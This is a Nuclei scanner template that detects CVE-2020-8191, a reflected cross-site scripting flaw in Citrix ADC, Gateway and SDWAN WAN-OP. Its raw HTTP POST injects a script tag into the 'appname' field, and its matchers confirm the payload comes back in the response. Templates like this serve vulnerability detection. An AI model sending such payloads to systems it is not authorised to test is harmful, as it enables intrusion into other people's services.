id: CVE-2020-8191

info:
  name: Citrix ADC/Gateway - Cross-Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 contain a cross-site scripting vulnerability due to improper input validation.
  reference:
    - https://support.citrix.com/article/CTX276688
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8191
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8191
    cwe-id: CWE-79
    epss-score: 0.0021
    cpe: cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: application_delivery_controller_firmware
  tags: cve,cve2020,citrix,xss

http:
  - raw:
      - |
        POST /menu/stapp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-NITRO-USER: xpyZxwy6

        sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</title><script>alert(31337)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200